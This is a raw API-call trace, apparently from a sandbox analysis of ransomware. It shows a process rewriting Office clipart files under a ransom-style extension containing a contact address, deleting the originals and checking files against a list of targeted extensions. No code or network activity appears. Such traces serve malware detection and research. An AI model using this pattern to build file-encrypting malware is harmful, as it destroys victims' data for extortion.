	[0261.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0261.963] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.963] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0261.963] GetLastError () returned 0x0
	[0261.963] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3772, lpOverlapped=0x0) returned 1
	[0261.965] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3780, lpOverlapped=0x0) returned 1
	[0261.965] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.965] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.966] SetEndOfFile (hFile=0x28c) returned 1
	[0261.966] CloseHandle (hObject=0x28c) returned 1
	[0261.966] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.966] SetEndOfFile (hFile=0x32c) returned 1
	[0261.968] CloseHandle (hObject=0x32c) returned 1
	[0261.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1
	[0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63
	[0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63
	[0261.968] lstrlenW (lpString=".doc") returned 4
	[0261.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.968] lstrlenW (lpString=".docx") returned 5
	[0261.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.968] lstrlenW (lpString=".pdf") returned 4
	[0261.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.969] lstrlenW (lpString=".xls") returned 4
	[0261.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.969] lstrlenW (lpString=".xlsx") returned 5
	[0261.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.969] lstrlenW (lpString=".ppt") returned 4
	[0261.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63
	[0261.969] lstrlenW (lpString=".zip") returned 4
	[0261.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.969] lstrlenW (lpString=".rar") returned 4
	[0261.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.969] lstrlenW (lpString=".bz2") returned 4
	[0261.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.969] lstrlenW (lpString=".7z") returned 3
	[0261.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63
	[0261.969] lstrlenW (lpString=".dbf") returned 4
	[0261.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63
	[0261.969] lstrlenW (lpString=".1cd") returned 4
	[0261.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63
	[0261.969] lstrlenW (lpString=".jpg") returned 4
	[0261.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.970] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=37390) returned 1
	[0261.970] CloseHandle (hObject=0x32c) returned 1
	[0261.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20
	[0261.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0261.970] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.970] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0261.970] GetLastError () returned 0x0
	[0261.970] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x920e, lpOverlapped=0x0) returned 1
	[0261.973] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x9210, lpOverlapped=0x0) returned 1
	[0261.974] ReadFile (in: hFile=0x32c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.974] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.974] SetEndOfFile (hFile=0x28c) returned 1
	[0262.488] CloseHandle (hObject=0x28c) returned 1
	[0262.490] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.491] SetEndOfFile (hFile=0x32c) returned 1
	[0262.525] CloseHandle (hObject=0x32c) returned 1
	[0262.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1
	[0262.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63
	[0262.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63
	[0262.529] lstrlenW (lpString=".doc") returned 4
	[0262.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.529] lstrlenW (lpString=".docx") returned 5
	[0262.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.529] lstrlenW (lpString=".pdf") returned 4
	[0262.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.529] lstrlenW (lpString=".xls") returned 4
	[0262.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.529] lstrlenW (lpString=".xlsx") returned 5
	[0262.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.530] lstrlenW (lpString=".ppt") returned 4
	[0262.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63
	[0262.530] lstrlenW (lpString=".zip") returned 4
	[0262.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.530] lstrlenW (lpString=".rar") returned 4
	[0262.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.530] lstrlenW (lpString=".bz2") returned 4
	[0262.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.530] lstrlenW (lpString=".7z") returned 3
	[0262.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63
	[0262.530] lstrlenW (lpString=".dbf") returned 4
	[0262.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63
	[0262.530] lstrlenW (lpString=".1cd") returned 4
	[0262.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63
	[0262.530] lstrlenW (lpString=".jpg") returned 4
	[0262.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.530] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=15856) returned 1
	[0262.530] CloseHandle (hObject=0x328) returned 1
	[0262.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20
	[0262.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.531] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.531] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.531] GetLastError () returned 0x0
	[0262.531] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3df0, lpOverlapped=0x0) returned 1
	[0262.539] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3e00, lpOverlapped=0x0) returned 1
	[0262.540] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.540] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.540] SetEndOfFile (hFile=0x35c) returned 1
	[0262.540] CloseHandle (hObject=0x35c) returned 1
	[0262.540] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.541] SetEndOfFile (hFile=0x328) returned 1
	[0262.543] CloseHandle (hObject=0x328) returned 1
	[0262.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1
	[0262.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63
	[0262.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63
	[0262.544] lstrlenW (lpString=".doc") returned 4
	[0262.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.544] lstrlenW (lpString=".docx") returned 5
	[0262.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.544] lstrlenW (lpString=".pdf") returned 4
	[0262.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.544] lstrlenW (lpString=".xls") returned 4
	[0262.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.544] lstrlenW (lpString=".xlsx") returned 5
	[0262.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.544] lstrlenW (lpString=".ppt") returned 4
	[0262.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63
	[0262.544] lstrlenW (lpString=".zip") returned 4
	[0262.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.544] lstrlenW (lpString=".rar") returned 4
	[0262.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.544] lstrlenW (lpString=".bz2") returned 4
	[0262.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.544] lstrlenW (lpString=".7z") returned 3
	[0262.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63
	[0262.544] lstrlenW (lpString=".dbf") returned 4
	[0262.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63
	[0262.544] lstrlenW (lpString=".1cd") returned 4
	[0262.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63
	[0262.545] lstrlenW (lpString=".jpg") returned 4
	[0262.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.545] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=46814) returned 1
	[0262.545] CloseHandle (hObject=0x328) returned 1
	[0262.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20
	[0262.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.545] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.545] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.546] GetLastError () returned 0x0
	[0262.546] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xb6de, lpOverlapped=0x0) returned 1
	[0262.548] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xb6e0, lpOverlapped=0x0) returned 1
	[0262.549] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.550] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.550] SetEndOfFile (hFile=0x35c) returned 1
	[0262.550] CloseHandle (hObject=0x35c) returned 1
	[0262.550] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.550] SetEndOfFile (hFile=0x328) returned 1
	[0262.552] CloseHandle (hObject=0x328) returned 1
	[0262.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1
	[0262.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63
	[0262.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63
	[0262.553] lstrlenW (lpString=".doc") returned 4
	[0262.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.553] lstrlenW (lpString=".docx") returned 5
	[0262.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.553] lstrlenW (lpString=".pdf") returned 4
	[0262.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.553] lstrlenW (lpString=".xls") returned 4
	[0262.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.553] lstrlenW (lpString=".xlsx") returned 5
	[0262.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.553] lstrlenW (lpString=".ppt") returned 4
	[0262.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63
	[0262.553] lstrlenW (lpString=".zip") returned 4
	[0262.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.553] lstrlenW (lpString=".rar") returned 4
	[0262.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.553] lstrlenW (lpString=".bz2") returned 4
	[0262.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.553] lstrlenW (lpString=".7z") returned 3
	[0262.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63
	[0262.554] lstrlenW (lpString=".dbf") returned 4
	[0262.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63
	[0262.554] lstrlenW (lpString=".1cd") returned 4
	[0262.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63
	[0262.554] lstrlenW (lpString=".jpg") returned 4
	[0262.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.554] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=6068) returned 1
	[0262.554] CloseHandle (hObject=0x328) returned 1
	[0262.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20
	[0262.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.555] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.555] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.555] GetLastError () returned 0x0
	[0262.555] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x17b4, lpOverlapped=0x0) returned 1
	[0262.557] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x17c0, lpOverlapped=0x0) returned 1
	[0262.558] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.558] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.558] SetEndOfFile (hFile=0x35c) returned 1
	[0262.558] CloseHandle (hObject=0x35c) returned 1
	[0262.558] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.558] SetEndOfFile (hFile=0x328) returned 1
